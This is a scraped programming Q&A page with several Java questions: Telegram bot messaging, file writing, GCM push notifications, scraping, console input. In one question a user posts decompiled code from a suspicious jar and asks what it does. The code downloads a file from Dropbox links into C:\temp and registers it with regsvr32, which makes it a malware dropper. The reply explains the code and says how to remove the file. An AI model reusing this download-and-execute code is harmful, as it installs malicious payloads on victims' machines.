Telegram bot send private message to a specific person [closed] - java

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 4 years ago.
Improve this question
i built by using java
a telegram bot
which basically get users's name
it can be 1 or 10 or even 40 (i limited it to 50) depends on how much you want to put
now the purpose of this bot is later on when you finish with your specific users
you write a message to send them
now everything is work perfect the id names getting save as well the message
although
how do i send it to all the users i just insert as a private message
if it even possible... by command
i hope i was understandable enough
thats my code:
class Bot extends TelegramLongPollingBot {
public int counter = 0;
public ArrayList names = new ArrayList(50);
public SendMessage mainMessage = new SendMessage();
public String sgMsg = "";
public StringBuilder stringBuilder = new StringBuilder();
public String msg;
public void onUpdateReceived(Update update) {
String command = update.getMessage().getText();
SendMessage sysMsg = new SendMessage();
sysMsg.setChatId(update.getMessage().getChatId());
String firstCdletter;
firstCdletter = Character.toString(command.charAt(0));
if (command.equals("/start")) {
sysMsg.setText("Enter the user's id, to finish send: Ok");
try {
execute(sysMsg);
} catch (TelegramApiException e) {
e.printStackTrace();
}
counter = 0;
names.clear();
sgMsg = "";
}else if (firstCdletter.equals("#")) {
String user = command;
names.add(counter);
counter++;
}else if(command.equals("/ok")){
sysMsg.setText("Good, now write your message you want to deliver");
try {
execute(sysMsg);
} catch (TelegramApiException e) {
e.printStackTrace();
}
}else if(command.equals("/done")){
msg = stringBuilder.toString();
}else{
sgMsg = update.getMessage().getText();
stringBuilder.append(sgMsg + " ");
}
}
thank you all for your time and help

Unfortunately, you cannot send message via #username, the only identify you can use is UID (looks like 109780439).
And by the way, bot have to chat with that user before, or you will got an 400 Error.

Related

Reading user's input from a JOptionPane and store it in a text file [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 7 years ago.
Improve this question
I want to read user's input (user's nickname) from a JOptionPane and then store that input into a new txt file. Also, I want the entered information to update itself in the text file every time a new user enters his nickname. Thank you very much in advance for the help! Here is my code:
private static class testItApp implements ActionListener {
#Override
public void actionPerformed(ActionEvent e) {
String filename = "scoreboard.txt";
try {
PrintWriter output = new PrintWriter(filename);
JOptionPane.showInputDialog(null, "Enter your nickname:");
output.println("kjkjbkj");
output.close();
}
catch (FileNotFoundException ex) {
System.out.println("Error");
}
}
}
JOptionPane.showInputDialog returns the value the user entered into the field or null if the canceled the dialog. Assign and check the return result
String nickName = JOptionPane.showInputDialog(null, "Enter your nickname:");
if (nickName != null) {
// Save it...
}
See How to Make Dialogs and JOptionPane#showInputDialog for more details

Please some one explain me the output of this JAVA code DO NOT RUN THIS CODE IT WILL STEAL PASSWORDS [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
This is a jar executable file I just obtained. It looks like a some kind of a virus. stealing passwords. I think. but I dont know what it actually do. I decoded it by a software and obtained the code.
so can some one please just look at this code (DO NOT RUN IT) and just explain what is actually done in this code?
public static void Run() throws IOException
{
int i = 3;
while (i < 9)
{
Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
i++;
}
}
public static void main(String[] args) throws Exception
{
new File("C:\\temp\\").mkdir();
File localFile = new File("C:\\temp\\YQJHBJX.PWY");
if (localFile.exists())
{
Run();
}
else
{
String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1###21urb4zg9n2on4s/d.dat?dl=1".split("###");
for (String str1 : arrayOfString1)
{
URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
localHttpURLConnection.connect();
if (localHttpURLConnection.getResponseCode() / 100 == 2)
{
String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
String str3 = "C:\\temp\\YQJHBJX.PWY";
goToWeb(str2, str3);
break;
}
}
}
}
public static void goToWeb(String paramString1, String paramString2) throws IOException
{
System.out.println(paramString1);
System.out.println(paramString2);
InputStream localInputStream = URI.create(paramString1).toURL().openStream();
Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
Run();
}
It's downloading a most likely malicious file from dropbox and registering it as a DLL. Exploit is in that file: "C:\temp\YQJHBJX.PWY" unregister it with regsvr32 /u and delete it if it exists.

Send push notification GCM by java [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I have configured a client android Google Cloud Messaging (GCM) to receive push notifications, but I can not configure a server in java to send notifications to devices. How could I?
You can use gcm-server.jar which contains helper methods for GCM messaging.
To get this jar you can install "[Deprecated]Google Cloud Messaging for Android Library" through Android SDK Manager. Don't let the deprecated name confuse you. Only the client part is deprecated, not server side.
After install you can find it at "ADT_SDKROOT\sdk\extras\google\gcm". The sample folder contains a demo server which is very easy to understand.
Sending a GCM message involves only few lines of code:
final String GCM_API_KEY = "yourKey";
final int retries = 3;
final String notificationToken = "deviceNotificationToken";
Sender sender = new Sender(GCM_API_KEY);
Message msg = new Message.Builder().build();
try {
Result result = sender.send(msg, notificationToken, retries);
if (StringUtils.isEmpty(result.getErrorCodeName())) {
logger.debug("GCM Notification is sent successfully");
return true;
}
logger.error("Error occurred while sending push notification :" + result.getErrorCodeName());
} catch (InvalidRequestException e) {
logger.error("Invalid Request", e);
} catch (IOException e) {
logger.error("IO Exception", e);
}
return false;
For """test""" create java console app, add gcm jar file.
try{
Sender sender = new Sender("<senderId>");
ArrayList<String> devicesList = new ArrayList<String>();
devicesList.add(<deviceId>);
String data = "<data>";
Message message = new Message.Builder()
.collapseKey("1")
.timeToLive(3)
.delayWhileIdle(true)
.addData("message",
data)
.build();
MulticastResult result = sender.send(message, devicesList, 1);
sender.send(message, devicesList, 1);
System.out.println(result.toString());
if (result.getResults() != null) {
int canonicalRegId = result.getCanonicalIds();
if (canonicalRegId != 0) {
}
} else {
int error = result.getFailure();
System.out.println(error);
}
}

How to retrieve specific information from a certain website? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 9 years ago.
Improve this question
I am developing a java web application and I want to know how to take a certain field (table and/or output-text) value from a certain website. Assuming that this component has always the same ID does anyone know how can I retrieve this information?
I don't know if anyone has ever faced this issue but if anyone has any idea please share.
Thank you.
In general:
1.) Retrieve the pages markup by reading it through an HTTPConnection to the URL in your application
2.) Parse the Markup using a framework like jsoup and retrieve the value you need.
More specifically, here is some example code for jsoup:
HttpClient http = new DefaultHttpClient();
String htmlcode = "";
HttpGet request = new HttpGet("http://www.example.com");
HttpResponse response = null;
try {
response = http.execute(request);
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
if(response != null){
BufferedReader read = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
String line = "";
while((line = read.readLine()) != null){
htmlcode += line;
}
}
// at this point we have the pages markup
Document doc = Jsoup.parse(htmlcode);
Elements lis = doc.getElementsByTag("li"); // get all entries in lists
for(Element el : lis){
String val = el.text().trim();
// do something for each list entry
}
You are talking about web scraping, check this library for php:
http://simplehtmldom.sourceforge.net/

Creating a simple Chat Client/Server

i was trying creating Client/server Chat in console "not gui" , in gui case i can add action listener to the JTextField and every time that user hit enter the data will be send it to the client and vise versa , in console java application how can i do that ?? i mean how could i listen to the console (or) should i listen to the BufferReader so if it full then read the Buffer ???
You can do smth like :
String StrRead() {
byte[] enter = new byte[256];
int num = 0;
String str = new String();
try {
num = System.in.read(enter);
}
catch (Exception e)
{
System.out.println(e.toString());
}
str = new String(enter,0,num);
return str.trim();
}
and then just call String s = StrRead();

Categories